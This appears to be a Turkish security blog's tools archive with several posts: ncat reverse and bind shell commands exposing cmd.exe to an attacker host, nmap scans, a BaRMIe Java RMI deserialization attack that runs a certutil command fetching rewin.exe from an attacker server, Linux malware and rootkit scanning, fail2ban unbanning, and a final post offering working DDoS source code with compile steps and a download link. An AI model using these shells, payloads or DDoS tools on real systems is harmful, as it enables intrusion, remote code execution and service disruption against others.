Kategori arşivi: Araçlar

Siber güvenlikte kullanılan araçlar, güvenlik araçları, ddos araçları, botnet araç örnekleri, saldırı ve savunma araçları, kod örnekleri

Netcat/Ncat Kullanımı

Netcat (nc), TCP veya UDP protokolünü kullanarak ağ bağlantıları üzerinden veri okuyan ve yazan basit bir Unix yardımcı programıdır. Bağlantıları açmak ve shelli ters çevirmek için kullanılabilir.

Ncat (ncat), netcat\’in çok gelişmiş yeniden uyarlamasıdır, her zaman ki gibi Nmap Projesidir. Ncat şifreleme desteği, IP kısıtlama, ağ üzerinden binary dosya yönetimi, yönlendirme ve proxy desteği ile birlikte gelir.

Windows\’tan saldırgan makineye şifreli reverse shell:

Saldırı makinesi:

$ ncat -vnl 9999 --allow 10.0.0.1 --ssl 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 7B3E A579 1B50 C74C 35FE 7FD5 7D9D 991C 60D6 4F75
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

Kurbanın makinesi:

C:\Users\Administrator\Desktop\Tools\ncat>ncat.exe --exec cmd.exe -vn 10.0.0.254 9999 --ssl
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: SSL connection to 10.0.0.254:9999.
Ncat: SHA-1 fingerprint: 7B3E A579 1B50 C74C 35FE 7FD5 7D9D 991C 60D6 4F75

Şifrelenmemiş bağlantı ile Windows\’tan saldırgan makineye bind shell

Kurbanın makinesi:

C:\Users\Administrator\Desktop\Tools\ncat>ncat.exe --exec cmd.exe -vnl 9999 --allow 10.0.0.254
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.0.0.254:35218.

Saldırı makinesi:

$ nc 10.0.0.1 9999
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Administrator\Desktop\Tools\ncat>

Nc ile port tarama

CONNECT TCP metodu:

$ nc -nvv -w 1 -z 192.168.0.1 3388-3390
192.168.0.1 3388 (cbserver): Connection refused
192.168.0.1 3389 (ms-wbt-server): Connection refused
192.168.0.1 3390 (dsc): Connection refused
Total received bytes: 0
Total sent bytes: 0

UDP Tarama:

$ nc -nvv -w 1 -z -u 192.168.0.1 160-162  
Total received bytes: 0
Total sent bytes: 0

NMAP Kullanımı

Ağ keşfi ve güvenlik denetimi için en fazla kullanılan nmap\’dir kendisi çok tatlı bir keşif aracıdır. Bu sayede sistem üzerinde keşifler yapabilir hedefinizi analiz edebilirsiniz.

Aynı zamanda komut satırından kullanmak istemeyenler için GUI aracıda bulunmaktadır.

Nmap Kod Örnekleri

Makine tespiti (ping aracılığı ile):

nmap -sn 10.0.0.0/24
nmap -sP 10.0.0.0/24

Tüm portları, TCP SYN\’yi, varsayılan komut dosyasını, hızlı zamanlama ile servis ve sürüm bilgilerini ve tüm formatlarda çıktıları tarayın:

sudo nmap -p- -sSCV -T4 10.0.0.1 -oA 10.0.0.1

TCP CONNECT metodu ile en yaygın 1000 portun taranması:

nmap -sT 192.168.0.1

İşletim sisteminin tespiti:

sudo nmap -O 192.168.0.1

Agresif tarama (Bu, işletim sistemi algılama (-O), sürüm tarama (-sV), komut dosyası tarama (-sC) ve traceroute (--traceroute)) özelliğini etkinleştirir:

nmap -A 192.168.0.1

Derin tarama (tüm portlar, -v, bulunduğunda açık portu doğrudan göster)

nmap -v -p- -sT 192.168.0.1

UDP taraması için en iyi 1000 bağlantı noktası:

sudo nmap -sU --top-ports 1000 -T4 10.0.0.1 -oA 10.0.0.1_UDP -v

BaRMIe ile Java RMI Tespiti

BaRMIe, Java RMI (Uzaktan Yöntem Çağırma) hizmetlerini tespit etmek ve bunlara saldırı düzenlemek için kullanılan bir araçtır. Eski bir araç olmasının yanında hala kullanmak için işlevseldir.

Çalıştırma Örnekleri

java -jar BaRMIe_v1.01.jar -enum 10.0.0.1 1100

  ▄▄▄▄    ▄▄▄       ██▀███   ███▄ ▄███▓ ██▓▓█████
 ▓█████▄ ▒████▄    ▓██ ▒ ██▒▓██▒▀█▀ ██▒▓██▒▓█   ▀
 ▒██▒ ▄██▒██  ▀█▄  ▓██ ░▄█ ▒▓██    ▓██░▒██▒▒███
 ▒██░█▀  ░██▄▄▄▄██ ▒██▀▀█▄  ▒██    ▒██ ░██░▒▓█  ▄
 ░▓█  ▀█▓ ▓█   ▓██▒░██▓ ▒██▒▒██▒   ░██▒░██░░▒████▒
 ░▒▓███▀▒ ▒▒   ▓▒█░░ ▒▓ ░▒▓░░ ▒░   ░  ░░▓  ░░ ▒░ ░
 ▒░▒   ░   ▒   ▒▒ ░  ░▒ ░ ▒░░  ░      ░ ▒ ░ ░ ░  ░
  ░    ░   ░   ▒     ░░   ░ ░      ░    ▒ ░   ░
  ░            ░  ░   ░            ░    ░     ░  ░
       ░                                     v1.0
             Java RMI enumeration tool.
               Written by Nicky Bloor (@NickstaDB)

Warning: BaRMIe was written to aid security professionals in identifying the
         insecure use of RMI services on systems which the user has prior
         permission to attack. BaRMIe must be used in accordance with all
         relevant laws. Failure to do so could lead to your prosecution.
         The developers assume no liability and are not responsible for any
         misuse or damage caused by this program.

Scanning 1 target(s) for objects exposed via an RMI registry...

[-] An exception occurred during the PassThroughProxyThread main loop.
        java.net.SocketException: Socket closed
[-] An exception occurred during the ReplyDataCapturingProxyThread main loop.
        java.net.SocketException: Socket closed
RMI Registry at 10.0.0.1:1100
Objects exposed: 1
Object 1
  Name: creamtec/ajaxswing/JVMFactory
  Endpoint: 10.0.0.1:49161
  Classes: 3
    Class 1
      Classname: java.rmi.server.RemoteStub
    Class 2
      Classname: java.rmi.server.RemoteObject
    Class 3
      Classname: com.creamtec.ajaxswing.core.JVMFactory_Stub

1 potential attacks identified (+++ = more reliable)
[---] Java RMI registry illegal bind deserialization

0 deserialization gadgets found on leaked CLASSPATH
[~] Gadgets may still be present despite CLASSPATH not being leaked

Successfully scanned 1 target(s) for objects exposed via RMI.

Nmap ile eşdeğer komut

sudo nmap -sSVC --script rmi-dumpregistry -p 1100 10.0.0.1
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-02 01:16 CEST
Nmap scan report for 10.0.0.1
Host is up (0.13s latency).

PORT     STATE SERVICE  VERSION
1100/tcp open  java-rmi Java RMI Registry
| rmi-dumpregistry: 
|   creamtec/ajaxswing/JVMFactory
|     com.creamtec.ajaxswing.core.JVMFactory_Stub
|     @10.0.0.1:49161
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
MAC Address: 00:50:56:93:08:41 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds

Saldırı modu

-attack seçeneğini ekleyin.

Deserialization payloads for: 10.0.0.1:1100
 1) Apache Commons Collections 3.1, 3.2, 3.2.1
 2) Apache Commons Collections 4.0-alpha1, 4.0
 3) Apache Groovy 1.7-beta-1 to 2.4.0-beta-4
 4) Apache Groovy 2.4.0-rc1 to 2.4.3
 5) JBoss Interceptors API
 6) ROME 0.5 to 1.0
 7) ROME 1.5 to 1.7.3
 8) Mozilla Rhino 1.7r2
 9) Mozilla Rhino 1.7r2 for Java 1.4
 10) Mozilla Rhino 1.7r3
 11) Mozilla Rhino 1.7r3 for Java 1.4
 12) Mozilla Rhino 1.7r4 and 1.7r5
 13) Mozilla Rhino 1.7r6, 1.7r7, and 1.7.7.1
 a) Try all available deserialization payloads
Select a payload to use (b to back up, q to quit): 1

Enter an OS command to execute: certutil.exe -urlcache -split -f http://10.11.0.75:8000/rewin.exe rewin.exe
[~] Starting RMI registry proxy...
[+] Proxy started
[~] Getting proxied RMI Registry reference...
[~] Calling bind(PAYLOAD, null)...

[~] Attack completed but success could not be verified.

Remediation advice (if attack was successful):
  [Java] Update to Java 6u141, Java 7u131, Java 8u121, JRockit R28.3.13 or greater.
  [Apache Commons Collections] Update to Apache Commons Collections 3.2.2 or greater.

Attack: Java RMI registry illegal bind deserialization [---]

Java version 6u131, 7u121, 8u121 and below, and JRockit R28.3.12 and below do not validate the types of the parameter to the RMI Registry.bind() method at the server side prior to deserializing them. This enables us to inject a deserialization payload at the network level by replacing either parameter to bind() with a payload object.

Linux Sunucularda Malware ve Rootkit Taraması Nasıl Yapılır?

Kötü amaçlı yazılımlar(malware) ve arka planda çalışan gizli uygulamalar(rootkit) tespiti için sistemde belirli aralıklarla tarama işlemleri gerçekleştirmek gerekir.

Taramalarda önceliğimiz ilk başta Lynis olabilir. Bunun için yapmamız gerekenler

wget https://downloads.cisofy.com/lynis/lynis-2.7.5.tar.gz
tar xvzf lynis-2.7.5.tar.gz

Dosyaları direk ana dizinde tutmak yerine /usr/local/share/ yolunda tutmak işimize yarayabilir.

mv lynis/ /usr/local/share/
ln -s /usr/local/share/lynis/lynis /usr/local/bin/lynis

Ardından güzel güzel ilk taramamızı lynis audit system ile yapalım.

lynis malware tarama, lynis aracı

Loglar ise /var/log/lynis.log adlı dosyada yer almaktadır. Tarama tamamlandığında dosyayı kontrol edebilirsiniz. Ayrıca bu dosyayı gene alanında uzman kişilere atarak hızlıca çözüm üretilmesini sağlayabilirsiniz.


Hemen ardından kullanabileceğimiz bir başka aracımız ise Chkrootkit, sisteme dahil etmesi oldukça basit olan bu araç hem ücretsiz hemde belirtileri tarama konusunda oldukça etkili.

apt-get install chkrootkit

Kurulum tamamlandıktan hemen sonra sudo chkrootkit komutu ile taramayı başlatabilirsiniz.

chkrootkit ile linux tarama, rootkit tarama araçları, rootkit nasıl taranır

Tarama sırasında bilinen bütün rootkitler ve malwareler için tarama yapılır.


Açık kaynak kodlu ClamAV ile sistemde virüs, malware ve trojen ile birlikte diğer kötücül programların tespiti yapılabilir.

 sudo apt-get install clamav

Kurulum tamamlandıktan sonra normalde freshclam komutu ile veritabanında güncelleme yapmamız gerekir. Ancak kurulumdan hemen sonra arka planda otomatik olarak bu işlem yapılacağı için bahsi geçen komutun kullanımını tamamen size bırakıyorum.

Belirli dizinlerin taranması için ise aşağıdaki komutu kullanabilirsiniz.

clamscan -r -i <dizin-adi>
clamav tarama sonucu, clamav dosya tarama

Bu araçların dışında kullanabileceğiniz bir kaç araç daha bulunmaktadır.

  • Rkhunter
  • LMD
  • ISPProtect

Fail2ban Tarafından Engellenen Bir Ip Engelinin Kaldırılması

Fail2Ban, web sunucularında bruce kuvvet girişimleriyle yetkisiz erişimi korumak için kullanılan bir araçtır. Bazen bu araç, gerçek giriş denemelerini yakalayabilir. Buda bize false positive olarak geri dönebilir ve ip adresimiz kara listeye girebilir.

Bu durumda aşağıdaki işlemleri gerçekleştirerek ip adresinizi kara listeden çıkartabilirsiniz.

Ip adresinin firewall(Güvenlik duvarı) tarafından engellenip engellenmediğine bakıyoruz.

iptables -L -n

Aynı zamanda Fail2ban‘da kullandığımız jaillere bakıyoruz. Engelini kaldıracağımız Ip adresini hangi jailde kullanacağımız önemli.

fail2ban-client status

Engelini kaldıracağımız jailin adını aldıktan sonra Ip adresi ile beraber Fail2Ban’a bildiriyoruz.

fail2ban-client set <JAIL> unbanip <IPADDRESS>

Örneğin SSH bağlantılarında yasaklı olan bir Ip adresini aşağıdaki gibi engelliler listesinden kaldırabiliriz.

fail2ban-client set ssh unbanip 1.1.1.1

NMAP İle Port Durumlarını Kontrol Etme

Nmap, ağ operasyonları için klasik olmakla beraber bir İsviçre çakısıdır. Herhangi bir bilgisayardaki belirli bir bağlantı noktasının açık olup olmadığını kontrol etmek zorunda kaldığımız durumlar olabilir. Bu tip durumlarda teşhis Nmap ile yapmak gerekebilir. Hatta yapsanız daha iyi bile olur

İlk önce nmap kurmamız gerekiyor tabi ki sudo apt install nmap komut ile kuruyoruz.

80 Portunun Mertcan adlı bilgisayardaki durumunun kontrol edilmesi

nmap -p 80 Mertcan

Çıktı aşağıdaki gibi olmalı

Starting Nmap 7.60 ( http://nmap.org ) at 2017-09-29 14:05 Turkey Standard Time
Nmap scan report for medusa (192.168.0.22)
Host is up (0.00035s latency).
PORT     STATE SERVICE
9010/tcp open  sdr
 
Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

Verilen aralıklar arasındaki bağlantı noktalarının kontrol edilmesi

nmap -p 0-10 Mertcan

Örnek çıktımız

Starting Nmap 7.60 ( http://nmap.org ) at 2017-09-29 14:08 Turkey Standard Time
Nmap scan report for medusa (192.168.0.22)
Host is up (0.00027s latency).
PORT   STATE  SERVICE
0/tcp  closed unknown
1/tcp  closed tcpmux
2/tcp  closed compressnet
3/tcp  closed compressnet
4/tcp  closed unknown
5/tcp  closed unknown
6/tcp  closed unknown
7/tcp  closed echo
8/tcp  closed unknown
9/tcp  closed discard
10/tcp closed unknown
 
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Daha ne olsun arkadaşlar güzel bir şekilde portların durumunu kontrol ettik online siteler dışında bunu kullanabilirsiniz local de test etmek için güzel yöntem.

Port tespiti dışında detaylı taramalar yapmak isterseniz NMAP Kullanımı adlı yazıya göz atabilirsiniz.

Ddos Saldırısı İçin Kullanılabilecek Scriptler

Vakti zamanında testler için kullanmış olduğum ve halen çalışmakta olan DDoS kaynak kodlarını artık paylaşma zamanın geldiğini düşünmekteyim. C dili ile yazıldığı için oldukça etkili ve bir o kadarda hızlıdır. Aynı zamanda python ile yazılmış olanlarda bulunmaktadır, lakin kodlar booter sistemlerine yazıldığı için sürelidir sınırsız bir şekilde kullanamazsınız.

Ddos ve dos için kullanılacak olan tüm kaynak kodları derlemek için aşağıdaki adımları izlemeniz gerekmektedir.

apt update
apt install build-essential
gcc betikadi.c -pthread -o betikadi
ShellScript

Derleme işlemi sırasında bağımlılıklardan dolayı uyarı mesajları verebilir. Bu durumda bir sıkıntı olmayacağı gibi kodlar sorunsuz bir şekilde çalışacaktır. Bazı betikler reflection.txt dosyası istemektedir.

L4 ve L7 karışık olarak verilmiştir, ayrıca UDP ve TCP olarak da sunulmuştur.

Kullanabileceğiniz kaynak kodlar

https://downloads.mertcangokgoz.com/ddos-scripts

Bu Kaynak kodlarından doğa bilecek her türlü sistemsel ve (veya) yasal sorunlardan kodları kullanan kişi sorumludur.